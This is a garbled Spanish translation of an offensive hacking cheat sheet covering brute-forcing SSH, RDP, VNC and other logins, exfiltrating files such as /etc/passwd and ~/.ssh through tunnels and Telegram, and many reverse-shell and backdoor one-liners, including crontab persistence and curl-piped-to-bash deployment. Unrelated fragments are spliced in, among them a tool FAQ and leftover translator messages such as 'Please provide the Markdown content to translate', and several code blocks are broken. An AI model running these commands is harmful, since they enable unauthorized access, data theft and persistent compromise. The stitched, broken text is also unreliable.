Ten en cuenta que los hashes $6$ son LENTOS. Incluso el hashmask de 1 minuto para 7-16 caracteres tardaría muchos días en completarse en un clúster de 8xRTX4090.
Alquila un clúster de GPU RTX-4090 en vast.ai por $0.40/h y usa dizcza/docker-hashcat:cuda (lee más).
De lo contrario, usa Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis o crackea en tus propias instancias de AWS.
3.xi. Fuerza bruta de contraseñas / claves
Lo siguiente es para forzar (adivinar) contraseñas de SERVICIOS EN LÍNEA.
No puedes forzar cuentas de GMAIL.
SMTP AUTH/LOGIN ESTÁ DESHABILITADO EN GMAIL.
Todas las herramientas de fuerza bruta y craqueo de contraseñas de GMail son FALSAS.
Todas las herramientas están preinstaladas en segfault:```shell ssh [email protected] # password is 'segfault'
(Quizás quieras usar tu [propio nodo EXIT](https://www.thc.org/segfault/wireguard))
Herramientas:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [documentación](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - excelente para probar todas las claves ssh en un rango de IPs objetivo.
Listas de usuarios y contraseñas:
* `/usr/share/nmap/nselib/data`
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >EL FAVORITO DE THC<
* https://github.com/danielmiessler/SecLists
* https://wordlists.assetnote.io
* https://weakpass.com
* https://crackstation.net/
Establece la lista de **U**suario/**P**assword y el **T**arget host.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
Parámetros útiles de Nmap:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
Parámetros útiles de **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"
Parámetros útiles de Hydra:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
-->```shell
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"
- **Q**: ¿Qué herramientas de seguridad se admiten?
- **A**: En la actualidad, se admiten más de 20 tipos de herramientas, que incluyen Burp Suite, AWVS, afrog, Xray, nuclei, OneForAll, subfinder, scaninfo, ksubdomain, httpx, subfinder, URLFinder, PortScan, vulmap, pocsuite3, Yakit, Crawlergo, Kunpeng, URLFinder, Kunyu, dirsearch, etc. Se irán añadiendo más herramientas y tipos de herramientas compatibles en el futuro.
- **Q**: ¿Cómo usar la mensajería por correo?
- **A**: Se puede configurar la URL de Webhook, la API de Feishu/Lark, los tokens de bots de Telegram, la URL de mensajería de DingTalk, los tokens de bots de WeChat de empresa, la URL de mensajería de Gotify, los tokens de Ntfy, etc. Solo es necesario completar el operador correspondiente. Para más detalles, consulte [Instrucciones de configuración del mensajería](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/blob/main/core/message.md).
- **Q**: ¿Se puede separar el uso de la adición de huellas dactilares y las reglas de coordinación con herramientas?
- **A**: Por supuesto, todo es modular en el código fuente. Cada módulo puede funcionar de forma independiente o en conjunto. El diseño modular está implementado en el código: puede optar por usar solo la sección de huellas dactilares para la identificación de huellas de sitios, o usar solo las reglas de asociación de herramientas. Ambos módulos pueden funcionar juntos o por separado, y el orden de llamada se gestiona mediante `config.ini`.
- **Q**: ¿Cómo realizar una exploración masiva automatizada completa?
- **A**: Instalar `ARL-Finger-ADD` y las herramientas de seguridad relacionadas, ejecutar `python3 ARL-Finger-ADD.py` y todo el proceso de coordinación con herramientas se completará automáticamente.
- **Q**: Después de la adición, ¿se ven afectados los datos originales de activos y exploración de ARL?
- **A**: No les afecta en absoluto. Solo se agregan nuevos datos de huellas dactilares y se coordinan las herramientas. Los archivos de configuración y los datos de la base de datos están separados. Los datos originales de ARL no se modifican ni eliminan.
- **Q**: Después de agregar huellas dactilares, ¿se pueden eliminar o restaurar?
- **A**: Todos los archivos de huellas dactilares originales de ARL se pueden respaldar. Tras agregar huellas dactilares usando el proyecto, se crea automáticamente un directorio `finger_backup` para almacenar una copia de seguridad de las huellas originales. Si necesita restaurar, ejecute `python3 ARL-Finger-ADD.py -r` para restaurar los archivos de huellas originales, y luego reinicie el servicio de la web de ARL.
- **Q**: Si ARL y las herramientas relacionadas se instalaron mediante Docker, ¿se puede coordinar con `ARL-Finger-ADD`?
- **A**: Debido a la naturaleza aislada de Docker, no se admite la coordinación automatizada con todas las herramientas en el entorno de Docker. Pero los scripts que no requieren herramientas externas, como la adición de huellas dactilares y la base de datos de rutas de escaneo de directorios, aún funcionan perfectamente bajo Docker.
- **Q**: Después de usar el proyecto, ¿se pueden agregar archivos de huellas dactilares de ARL en el repositorio oficial de ARL en el futuro?
- **A**: Sí, el proyecto se puede usar repetidamente. Cualquier versión futura de ARL puede ser actualizada simplemente ejecutando `python3 ARL-Finger-ADD.py` para actualizar las reglas de huellas dactilares, manteniendo las versiones consistentes con el proyecto.
- **Q**: Si encuentra otros problemas o tiene sugerencias, ¿dónde puede informarlos?
- **A**: Los problemas se pueden informar en la sección [Issues](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/issues) del proyecto. Si tiene una mejor solución o método de optimización, también puede enviar un [Pull Request](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/pulls). ¡Gracias por su contribución!
## 🦄 Estrellas del proyecto
[](https://starchart.cc/Aabyss-Team/ARL-Finger-ADD-Plus)
## 🏆 Equipo Aabyss
Una montaña no se mide por su altura, sino por su cima; el agua no se mide por su profundidad, sino por su flujo. Seguridad informática y penetración web, amor por la tecnología y la vida, ¡todos son miembros del equipo Aabyss! AabyssTeam:Equipo de Seguridad de Deep Blue Abyss
## 🔧 Contribuidores
¡El proyecto no puede existir sin los contribuidores de la comunidad!
<a href="https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/graphs/contributors">
<img src="https://contrib.rocks/image?repo=Aabyss-Team/ARL-Finger-ADD-Plus" />
</a>
## 💖 Patrocinadores
Si este proyecto le ha ayudado, ¡podría considerar patrocinar a los desarrolladores!
<img src="https://raw.githubusercontent.com/Aabyss-Team/Aabyss-Team/main/IMG/202308210636390.png" width="700px">
[Dirección de código abierto del equipo Aabyss](https://github.com/Aabyss-Team)
## 📜 Descargo de responsabilidad
<div align="center"><b>Descargo de responsabilidad: Esta herramienta es solo para investigación y estudio de tecnología de ciberseguridad con fines de defensa.</b></div>
<br>
<div align="center">Si usted u otra persona usa esta herramienta para realizar actividades ilegales sin el consentimiento de la parte autorizada, o no cumple con las leyes de ciberseguridad, no seremos responsables de los daños resultantes ni de ninguna responsabilidad legal.</div>
## Star History
<a href="https://star-history.com/#Aabyss-Team/ARL-Finger-ADD-Plus&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&type=Date" />
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&type=Date" />
</picture>
</a>```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"
Jigsaw es un ofuscador de múltiples capas para scripts de PowerShell. Su objetivo es proporcionar amplias capas de ofuscación de una manera sencilla. Para más información, lea su Wiki.```shell
hydra -P "${PLIST}" -l user "ftp://$T"
* [tahlor](https://github.com/TahlonBrahic//#/) - OSINT y Otras Herramientas - en español```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"
Please provide the Markdown content to translate.```shell
nmap -p110,995 --script pop3-brute "$T"
**C.** Lo siguiente aparecerá en la pantalla```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
[No content provided to translate.]```shell
nmap -p5432 --script pgsql-brute "$T"
[No content provided to translate.]```shell
## SMB (windows)
nmap --script smb-brute "$T"
(no content provided)```shell
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
I don't see any content in the chunk you provided. Please paste the Markdown text you'd like translated, and I'll translate it into Spanish following all the rules.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"
Please provide the Markdown content to translate.```shell
msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run
🖥️**FreeBSD**
🖥️**Fedora Silverblue**
🖥️**NetBSD**
🖥️**OpenBSD**```shell
## HTML basic auth
echo admin >user.txt # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
pentesteracademylab.appspot.com
Lo más fácil: escribe exfil en un Segfault Root Server
O usa curl y ejecuta tu propio servidor de exfiltración en PHP.
Truco para transferir un archivo al objetivo cuando este no tiene acceso a Internet: convierte el archivo binario en texto ASCII (base64) y luego usa copiar y pegar. (Alternativamente, usa la consola elite de gs-netcat con Ctrl-e c para transferir el archivo por la misma conexión TCP).
Usa xclip (en tu estación de trabajo) para pasar los datos codificados directamente al portapapeles:```shell
base64 -w0 </etc/issue.net | xclip
#### >>> Codificar/decodificar UU```sh
## uuencode
uuencode /etc/issue.net issue.net-COPY
begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end
```sh base64 -d >issue.net-COPY ``` #### >>> Openssl codificar/decodificar```sh openssl base64VWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd codificar/decodificar```sh xxd -pVWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. Transferencia de archivos - usando cortar y pegar4b616c6920474e552f4c696e757820526f6c6c696e670a
Pega en un archivo en la máquina remota (ten en cuenta el <<-'__EOF__' para no alterar las tabulaciones ni las variables $).```sh
cat >output.txt <<-'EOF'
[...]
EOF ### Finish your cut & paste by typing EOF
---
<a id="xfer-tmux"></a>
### 4.iii. Transferencia de archivos - usando *tmux*
Inicia `tmux` en tu estación de trabajo. Conéctate a tu objetivo por cualquier medio que prefieras (ssh, gs-netcat, ...).
#### De REMOTO a LOCAL (descarga)
Usa [Tmux-Logging](#tmux) para descargar archivos grandes desde el objetivo a través de la terminal hasta tu estación de trabajo.
#### De LOCAL a REMOTO (subida)
Inicia tu herramienta de decodificación favorita (base64) en el REMOTO:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
En tu estación de trabajo, y desde una terminal diferente, envía datos codificados en base64. Llegarán a tu REMOTE en screen-xfer.txt.```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
---
<a id="file-transfer-screen"></a>
### 4.vi. Transferencia de archivos - usando *screen*
#### De REMOTO a LOCAL (descarga)
Ten un *screen* ejecutándose en tu computadora local e inicia sesión en el sistema remoto desde tu shell. Indica a tu screen local que registre toda la salida en screen-xfer.txt:
> CTRL-a : logfile screen-xfer.txt
> CTRL-a H
Usamos *openssl* para codificar nuestros datos, pero cualquiera de los métodos de codificación anteriores funciona. Este comando mostrará los datos codificados en base64 en la terminal y *screen* escribirá estos datos en *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
Detén el registro de datos en tu pantalla local:
CTRL-a H
En tu computadora local, decodifica el archivo:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt
#### De LOCAL a REMOTE (subida)
En tu sistema local, codifica los datos:```sh
openssl base64 </etc/issue.net >screen-xfer.txt
En el sistema remoto (y desde dentro del screen actual):```sh openssl base64 -d
Get *screen* para que lea los datos codificados en base64 hacia el portapapeles de screen y pegue los datos desde el portapapeles al sistema remoto:
> CTRL-a : readbuf screen-xfer.txt
> CTRL-a : paste .
> CTRL-d
> CTRL-d
Nota: Se requieren dos CTRL-d debido a un [bug en openssl](https://github.com/openssl/openssl/issues/9355).
---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Transferencia de archivos - usando gs-netcat y sftp
Usa [gs-netcat](https://github.com/hackerschoice/gsocket) y encapsula el protocolo sftp dentro. Permite el acceso a hosts detrás de NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
Desde su estación de trabajo ejecute este comando para conectarse al servidor SFTP:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation
O para volcar un solo archivo:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
# On the receiver
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
En el emisor/servidor:```sh
python -m http.server 8080 --bind 127.0.0.1 &
cloudflared tunnel -url localhost:8080
Receiver: Accede a la URL desde cualquier navegador para ver/descargar el sistema de archivos remoto.
#### 1 - Subida usando PHP:
En el Receptor:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
En el remitente:```posh
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
up warez.tar.gz up /etc/passwd
#### 2 - Subida usando PYTHON:
En el receptor:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
En el remitente:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
---
<a id="download"></a>
### 4.vii. Descarga de archivos sin curl
Usando Python, descarga solo:```sh
# Declare a curl-alternative
purl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
"$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
Ejemplo: Instalando gsocket con purl:```sh
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct
Usando OpenSSL, descargue únicamente:```sh
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
usando Perl, descargar solo:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }
Usando bash, descargue solo:```sh
burl() {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
Corta y pega en tu bash:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }
luego sube un archivo o un directorio:```sh
transfer /etc/passwd # A single file
transfer ~/.ssh # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
Una lista de nuestros sitios públicos de carga favoritos.
Ideal para sincronizar grandes cantidades de directorios o reiniciar transferencias interrumpidas. El ejemplo transfiere el directorio 'warez' al Receptor usando una única conexión TCP desde el Emisor al Receptor.```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach
Remitente:```posh
rsync -av warez rsync://1.2.3.4:31337/up
Lo mismo cifrado (OpenSSL):
Receptor:```posh
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
Remitente:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# Using rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez
Rsync se puede combinar para exfiltrar a través de túneles TCP en bruto de https / cloudflared.
(Para exfiltrar desde Windows, usa el rsync.exe del paquete gsocket para Windows). Una solución más ruidosa es syncthing.
Consejo profesional: Los hackers perezosos solo escriben exfil en segfault.net.
En el receptor (p. ej. segfault.net) inicia un Cloudflare-Tunnel y WebDAV:```sh cloudflared tunnel --url localhost:8080 &
wsgidav --port=8080 --root=. --auth=anonymous
En otro servidor:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
Accede al recurso compartido desde Windows (para arrastrar y soltar archivos) en el Explorador de archivos:``` \example-foo-bar-lights.trycloudflare.com@SSL\sources
O monta el recurso compartido WebDAV en Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
Hay infinidad de servicios de subida, pero TG es una alternativa práctica. Obtén un TG-Bot-Token del TG BotFather. Luego, crea un nuevo grupo de TG y añade tu bot al grupo. Recupera el chat_id de ese grupo:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq
d3sky - d3sky es una herramienta avanzada, de código abierto, para enumeración pasiva de subdominios.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
Consejo: usa https://www.revshells.com/ 👌
5.i.a. Shell inversa con gs-netcat (cifrada)
Consulta 6. Backdoors para un comando de una sola línea para desplegar y acceder a una shell inversa PTY totalmente funcional usando https://gsocket.io/deploy.
Inicia netcat para escuchar en el puerto 1524 en tu sistema:```sh nc -nvlp 1524
Después de la conexión, [mejora](#reverse-shell-interactive) tu shell a un shell PTY totalmente interactivo. Alternativamente, usa [pwncat-cs](https://pwncat.org/) en lugar de netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
En el sistema remoto, este comando se conectará de vuelta a tu sistema (IP = 3.13.3.7, Puerto 1524) y te dará un prompt de shell:```sh
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
Alternativamente, en el sistema remoto, coloca esto en `~/.profile` o crontab para reiniciar el shell de conexión inversa (y también evita que se inicien múltiples instancias):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
5.i.c. Reverse shell con cURL (cifrada)
Use curlshell. Esto también funciona a través de proxies y cuando la conexión TCP directa con el mundo exterior está prohibida:```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
5.i.d Shell inversa con cURL (texto plano)
Inicia ncat para escuchar múltiples conexiones:```sh ncat -kltv 1524
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5.i.e. Shell reversa con OpenSSL (cifrado)```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
openssl s_server -port 1524 -cert cert.pem -key key.pem
### TCP inverso x86 64-bit
```bash
nc -nvlp 4444
msfvenom -p linux/x64/shell_reverse_tcp lhost=eth0 lport=4444 -f elf -o shell
Al usar localhost en lugar de LHOST, asegúrese de que la interfaz de red que asigne tenga una dirección IP equivalente a la que usará la máquina objetivo para comunicarse. Elegir una interfaz sin una dirección IP configurada puede provocar que el payload falle y cierre el programa en el que se inyecta.
tcpdump -nvvvXi eth0 tcp port 443
``````sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
5.i.f. Shell inversa sin /dev/tcp
Los sistemas embebidos no siempre tienen Bash y el truco de /dev/tcp/ no funcionará. Hay muchas otras formas (Python, PHP, Perl, ..). Nuestra favorita es subir netcat y usar netcat o telnet:
En el sistema remoto:```sh nc -e /bin/sh -vn 3.13.3.7 1524
Variante si *'-e'* no es compatible:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (gracias IA_PD).| : no funciona en C-Shell/tcsh (FreeBSD), la Bourne shell original (Solaris) ni la Korn shell (AIX). Usa mkfifo en su lugar.Variante para /bin/sh antiguo:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
Variante de Telnet cuando mkfifo no es compatible (¡Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
Nota: No olvides ejecutar `rm /tmp/.fio` después de iniciar sesión.
<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell con remote.moe y ssh (cifrado)**
Es posible tunelizar TCP crudo (por ejemplo, una reverse shell de bash) a través de [remote.moe](https://remote.moe):
En tu estación de trabajo:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
En el objetivo (necesita SSH y Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
En el objetivo (alternativa; necesita ssh, bash y mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
Shell inversa con Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<a id="reverse-shell-perl"></a>
**5.i.j. Shell inversa con Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
5.i.k. Reverse shell con PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Mejorar una reverse shell a una shell PTY**
Cualquiera de las reverse shells anteriores es limitada. Por ejemplo, *sudo bash* o *top* no funcionarán. Para que funcionen, tenemos que mejorar la shell a una shell PTY real:```sh
# Using script
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
I'm sorry, but it appears the input content is missing — there is no text to translate. Please provide the chunk content you'd like translated.```sh
exec python -c 'import pty; pty.spawn("/bin/bash")'
<a id="reverse-shell-interactive"></a>
**5.ii.b. Mejorar una reverse shell a una shell totalmente interactiva**
...y si también queremos usar Ctrl-C, etc., entonces tenemos que llegar hasta el final y mejorar la reverse shell a una verdadera shell interactiva completamente colorida:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
Identifica el tipo de servicio que se está ejecutando.
stty raw -echo icrnl opost; fg
El bloque de entrada está vacío: no se ha proporcionado ningún contenido que traducir.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
5.ii.c. Reverse shell con socat (totalmente interactivo)
...o instala socat y hazlo sin demasiado lío:```sh
socat file:tty,raw,echo=0 tcp-listen:1524
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
---
<a id="backdoor"></a>
## 6. Puertas traseras
Consulta [Reverse Shell / Dumb Shell](#reverse-shell) para shells reversas simples de una línea.
<a id="gsnc"></a>
**6.i. Shell reversa usando gs-netcat**
Principalmente usamos el script de despliegue automatizado de gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
o```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
o despliega gsocket ejecutando tu propio servidor de despliegue:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
6.ii. Shell inversa con sshx.io (cifrada)
Accede a un shell remoto desde tu navegador web https://sshx.io.
Conecta sshx-backdoor directamente en memoria:```shell
